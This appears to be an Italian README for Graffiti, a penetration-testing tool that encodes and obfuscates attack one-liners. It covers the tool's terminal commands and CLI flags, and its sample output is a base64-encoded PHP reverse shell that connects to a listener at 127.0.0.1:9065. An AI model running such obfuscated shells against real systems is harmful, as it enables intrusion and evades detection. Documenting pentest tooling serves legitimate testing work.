
Uno strumento per generare one-liner offuscati per assistere nei test di penetrazione

Graffiti è uno strumento per generare oneliner offuscati per assistere in situazioni di penetration testing. Graffiti accetta i seguenti linguaggi per la codifica:
Graffiti accetta anche un linguaggio non attualmente presente nell'elenco e salva l'oneliner in un database.
Graffiti include un database completo che inserisce ogni payload codificato al suo interno, consentendo agli utenti di visualizzare i payload già creati per uso futuro. I payload possono essere codificati utilizzando le seguenti tecniche:
Alcune caratteristiche di Graffiti includono:
Graffiti include un terminale integrato; quando non si passano flag al programma, si accede al terminale. Il terminale ha una cronologia, la possibilità di eseguire comandi esterni e i propri comandi interni. Per ottenere aiuto, basta digitare help o ?:
________ _____ _____.__ __ .__
/ _____/___________ _/ ____\/ ____\__|/ |_|__|
/ \ __\_ __ \__ \\ __\\ __\| \ __\ |
\ \_\ \ | \// __ \| | | | | || | | |
\______ /__| (____ /__| |__| |__||__| |__|
\/ \/
v(0.1)
nessun argomento passato, accesso al terminale, digita `help/?` per assistenza, tutti i comandi che si trovano all'interno di `/bin` sono disponibili nel terminale
root@graffiti:~/graffiti# ?
Comando Descrizione
--------- --------------
help/? Mostra questo aiuto
external Elenca i comandi esterni disponibili
cached Mostra tutti i payload già presenti nel database
list/show Elenca tutti i payload disponibili
search <frase> Cerca un payload specifico
use <payload> <codificatore> Utilizza questo payload e codificalo con un codificatore specifico
info <payload> Ottieni informazioni su un payload specifico
check Controlla aggiornamenti
history Mostra la cronologia dei comandi
exit/quit Esci dal terminale e dalla sessione in esecuzione
encode <tipo-script> <codificatore> Codifica un payload fornito
root@graffiti:~/graffiti# help
Comando Descrizione
--------- --------------
help/? Mostra questo aiuto
external Elenca i comandi esterni disponibili
cached Mostra tutti i payload già presenti nel database
list/show Elenca tutti i payload disponibili
search <frase> Cerca un payload specifico
use <payload> <codificatore> Utilizza questo payload e codificalo con un codificatore specifico
info <payload> Ottieni informazioni su un payload specifico
check Controlla aggiornamenti
history Mostra la cronologia dei comandi
exit/quit Esci dal terminale e dalla sessione in esecuzione
encode <tipo-script> <codificatore> Codifica un payload fornito
Graffiti include anche argomenti da riga di comando per quando hai bisogno di un payload codificato rapidamente:
usage: graffiti.py [-h] [-c CODEC] [-p PAYLOAD]
[--create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS]
[-l]
[-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]]
[-lH LISTENING-ADDRESS] [-lP LISTENING-PORT] [-u URL] [-vC]
[-H] [-W] [--memory] [-mC COMMAND [COMMAND ...]]
argomenti opzionali:
-h, --help mostra questo messaggio di aiuto ed esce
-c CODEC, --codec CODEC
specifica una tecnica di codifica (*default=None)
-p PAYLOAD, --payload PAYLOAD
passa il percorso di un payload da utilizzare (*default=None)
--create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS
crea un file payload e lo salva in ./etc/payloads (*default=None)
-l, --list elenca tutti i payload disponibili per percorso (*default=False)
-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]], --personal-payload [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]
passa il tuo payload personale da utilizzare per la codifica (*default=None)
-lH LISTENING-ADDRESS, --lhost LISTENING-ADDRESS
passa un indirizzo di ascolto da utilizzare per il payload (se necessario) (*default=None)
-lP LISTENING-PORT, --lport LISTENING-PORT
passa una porta di ascolto da utilizzare per il payload (se necessario) (*default=None)
-u URL, --url URL passa un URL se richiesto dal tuo payload (*default=None)
-vC, --view-cached visualizza i dati in cache già presenti nel database
-H, --no-history non salvare la cronologia dei comandi (*default=True)
-W, --wipe cancella il database e la cronologia (*default=False)
--memory inizializza il database in memoria invece di un file .db (*default=False)
-mC COMMAND [COMMAND ...], --more-commands COMMAND [COMMAND ...]
passa più comandi esterni, consentendo loro di essere accessibili all'interno del terminale; i comandi devono essere nel tuo PATH (*default=None)
Codificare un payload è semplice come questo:
root@graffiti:~/graffiti# python graffiti.py -c base64 -p /linux/php/socket_reverse.json -lH 127.0.0.1 -lP 9065
Payload codificato:
--------------------------------------------------
php -r 'exec(base64_decode("JHNvY2s9ZnNvY2tvcGVuKCIxMjcuMC4wLjEiLDkwNjUpO2V4ZWMoIi9iaW4vc2ggLWkgPCYzID4mMyAyPiYzIik7"));'
--------------------------------------------------
Una demo di Graffiti è disponibile qui:
Su qualsiasi sistema Linux, Mac o Windows, Graffiti dovrebbe funzionare senza la necessità di installare pacchetti esterni. Se desideri installare Graffiti come eseguibile sul tuo sistema (devi essere su Linux o Mac per un funzionamento corretto), devi solo fare quanto segue:
./install.sh
Questo installerà Graffiti nel tuo sistema e ti permetterà di eseguirlo da qualsiasi posizione.
Se dovessi trovare un bug o un problema, per favore crea una segnalazione con i dettagli qui e grazie in anticipo!